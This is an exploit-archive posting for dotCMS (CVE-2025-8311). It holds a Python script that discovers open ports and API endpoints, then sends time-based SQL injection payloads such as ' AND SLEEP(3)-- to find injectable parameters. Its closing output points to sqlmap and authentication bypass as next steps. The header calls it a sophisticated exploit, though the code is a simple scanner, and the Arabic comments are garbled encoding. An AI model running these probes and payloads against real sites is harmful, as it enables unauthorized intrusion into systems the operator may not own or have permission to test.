Share
## https://sploitus.com/exploit?id=PACKETSTORM:212820
=============================================================================================================================================
| # Title : dotCMS 25.07.02-1 Security Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://www.dotcms.com/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/211125/ & CVE-2025-8311
[+] Summary : This python script represents a sophisticated dual-method SQL Injection exploit targeting DotCMS content management systems.
[+] Usage : * : Save as: poc.py
Run : python poc.py
[+] POC :
#!/usr/bin/env python3
"""
dotCMS SQL Injection Scanner
"""
import sys
import time
import socket
import requests
import argparse
from urllib.parse import urlparse
requests.packages.urllib3.disable_warnings()
class SimpleDotCMSScanner:
def __init__(self, target):
self.target = target
self.session = requests.Session()
self.session.verify = False
self.session.timeout = 10
# ูุงุฆู
ุฉ ุจุงูู
ูุงูุฐ ุงูุดุงุฆุนุฉ ููdotCMS
self.common_ports = [8443, 8080, 80, 443, 8081, 8082, 8888]
# ูุงุฆู
ุฉ ุจูsubdomains ู
ุญุชู
ูุฉ
self.common_subdomains = [
"demo", "test", "dev", "staging",
"admin", "portal", "cms", "dotcms"
]
# ูุงุฆู
ุฉ ุจูpaths ุดุงุฆุนุฉ
self.common_paths = [
"/", "/dotAdmin/", "/html/", "/c/",
"/api/v1/", "/api/", "/application/",
"/admin/", "/login", "/signin"
]
def test_port(self, host, port):
"""ุงุฎุชุจุงุฑ ุฅุฐุง ูุงู ุงูู
ููุฐ ู
ูุชูุญุงู"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
result = sock.connect_ex((host, port))
sock.close()
return result == 0
except:
return False
def discover_dotcms(self):
"""ุงูุชุดุงู ุฅุนุฏุงุฏ dotCMS"""
print("\n๐ Discovering dotCMS configuration...")
# ุชูุธูู ุงููุฏู
target = self.target.lower().strip()
results = {
"host": "",
"port": None,
"protocol": "https",
"base_url": "",
"accessible": False
}
# ุชุฌุฒุฆุฉ ุงููุฏู
if "://" in target:
parsed = urlparse(target)
host = parsed.netloc
if ":" in host:
host, port = host.split(":", 1)
port = int(port)
else:
port = None
else:
host = target
port = None
# ุฅุฒุงูุฉ www ุฅุฐุง ูุงู ู
ูุฌูุฏุงู
if host.startswith("www."):
host = host[4:]
results["host"] = host
# ุชุญุฏูุฏ ุงูู
ููุฐ
if port:
results["port"] = port
else:
# ุงุฎุชุจุงุฑ ุงูู
ูุงูุฐ ุงูุดุงุฆุนุฉ
for port in self.common_ports:
if self.test_port(host, port):
print(f" โ Port {port} is open")
results["port"] = port
break
if not results["port"]:
print(" โ No open ports found")
return results
# ุงุฎุชุจุงุฑ ุงูุจุฑูุชููููุงุช
protocols = ["https", "http"]
for protocol in protocols:
base_url = f"{protocol}://{host}:{results['port']}"
# ุงุฎุชุจุงุฑ ุงูุงุชุตุงู
for path in self.common_paths[:3]: # ุฃูู 3 ููุท ููุณุฑุนุฉ
url = base_url + path
try:
response = self.session.get(url, timeout=5)
if response.status_code < 500:
print(f" โ {protocol.upper()} accessible at {url}")
results["protocol"] = protocol
results["base_url"] = base_url
results["accessible"] = True
# ุงูุชุญูู ู
ู ูุฌูุฏ dotCMS
if "dotcms" in response.text.lower():
print(f" โ dotCMS detected!")
elif "dotadmin" in response.text.lower():
print(f" โ dotAdmin detected!")
return results
except Exception as e:
continue
return results
def find_public_apis(self, base_url):
"""ุงูุจุญุซ ุนู ูุงุฌูุงุช API ุนุงู
ุฉ"""
print("\n๐ Searching for public APIs...")
api_endpoints = [
"/api/v1/system/status",
"/api/v1/version",
"/api/v1/sites",
"/api/v1/content",
"/api/v1/nav",
"/api/v1/menu",
"/api/v1/widgets",
"/api/v1/containers",
"/api/v1/templates"
]
found_apis = []
for endpoint in api_endpoints:
url = base_url + endpoint
try:
response = self.session.get(url, timeout=5)
if response.status_code == 200:
print(f" โ Public API: {endpoint}")
found_apis.append({
"url": url,
"status": response.status_code,
"content_type": response.headers.get('Content-Type', ''),
"size": len(response.content)
})
elif response.status_code in [401, 403]:
print(f" ! Protected API: {endpoint} (Auth required)")
elif response.status_code == 404:
pass # ูุง ุชุนุฑุถ ุงูู404
else:
print(f" ? API: {endpoint} (Status: {response.status_code})")
except Exception as e:
pass
return found_apis
def quick_sqli_test(self, api_url):
"""ุงุฎุชุจุงุฑ ุณุฑูุน ููSQL Injection"""
print(f"\nโก Quick SQLi test on: {api_url}")
# ุงุฎุชุจุงุฑ ุจุณูุท ููTime-based SQLi
test_params = ["filter", "orderby", "sort", "id", "type"]
for param in test_params:
test_url = f"{api_url}?{param}=test"
# ุจุงูููุฏ Time-based
payloads = [
"' AND SLEEP(3)--",
"' OR (SELECT 1 FROM (SELECT SLEEP(3))a)--",
"') AND SLEEP(3)--"
]
for payload in payloads:
full_url = test_url + payload
try:
start = time.time()
response = self.session.get(full_url, timeout=10)
elapsed = time.time() - start
if elapsed >= 3:
print(f" ๐จ POSSIBLE TIME-BASED SQLi in parameter: {param}")
print(f" Payload: {payload}")
print(f" Response time: {elapsed:.2f}s")
return True
except requests.exceptions.Timeout:
print(f" ๐จ TIMEOUT - Possible SQLi in parameter: {param}")
return True
except:
pass
print(" โ No obvious SQLi detected")
return False
def scan(self):
"""ุงูู
ุณุญ ุงูุฑุฆูุณู"""
print("\n" + "="*60)
print("dotCMS Security Scanner")
print("="*60)
# ุงูุฎุทูุฉ 1: ุงูุงูุชุดุงู
config = self.discover_dotcms()
if not config["accessible"]:
print("\nโ Cannot access the target")
print("\n๐ก Try these alternatives:")
print(" 1. python scanner.py localhost:8443")
print(" 2. python scanner.py 127.0.0.1:8080")
print(" 3. python scanner.py your-domain.com")
return
print(f"\nโ
Target found:")
print(f" Host: {config['host']}")
print(f" Port: {config['port']}")
print(f" Protocol: {config['protocol']}")
print(f" Base URL: {config['base_url']}")
# ุงูุฎุทูุฉ 2: ุงูุจุญุซ ุนู APIs
apis = self.find_public_apis(config["base_url"])
if not apis:
print("\nโ ๏ธ No public APIs found")
print("\n๐ฏ Try these common endpoints:")
for path in self.common_paths:
print(f" {config['base_url']}{path}")
return
# ุงูุฎุทูุฉ 3: ุงุฎุชุจุงุฑ SQLi ุนูู ูู API
sql_vulnerabilities = []
for api in apis:
if self.quick_sqli_test(api["url"]):
sql_vulnerabilities.append(api["url"])
# ุนุฑุถ ุงููุชุงุฆุฌ
print("\n" + "="*60)
print("SCAN RESULTS")
print("="*60)
print(f"\n๐ Summary:")
print(f" Total APIs found: {len(apis)}")
print(f" Possible SQLi vulnerabilities: {len(sql_vulnerabilities)}")
if sql_vulnerabilities:
print(f"\n๐จ Vulnerable endpoints:")
for vuln in sql_vulnerabilities:
print(f" โข {vuln}")
print(f"\n๐ก Next steps:")
print(f" 1. Test manually with sqlmap: sqlmap -u \"{sql_vulnerabilities[0]}\"")
print(f" 2. Use the full exploit script with authentication token")
print(f" 3. Check for authentication bypass methods")
else:
print(f"\nโ
No SQL injection vulnerabilities found in public APIs")
print(f"\n๐ก Try authenticated endpoints if you have credentials")
def main():
parser = argparse.ArgumentParser(description="Simple dotCMS Security Scanner")
parser.add_argument("target", help="Target (e.g., demo.dotcms.com, localhost:8443)")
args = parser.parse_args()
print(r"""
โโโโโโโ โโโโโโโโโโ โโโโโโโ โโโ โโโโโโโโโโโโโโ โโโโโโ โโโ โโโโโโ
โโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโ โโโโโโ โโโโโโโโโโโโ
โโโโโโโโโ โโโโโ โโโโโโ โโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโ
โโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโ โโโโโโ โโโ
โโโโโโ โโโโโโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโโโโ โโโโโโ โโโโโโ โโโ
dotCMS Security Scanner
""")
scanner = SimpleDotCMSScanner(args.target)
scanner.scan()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\n\n[!] Scan interrupted by user")
sys.exit(0)
except Exception as e:
print(f"\n[!] Error: {e}")
sys.exit(1)
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================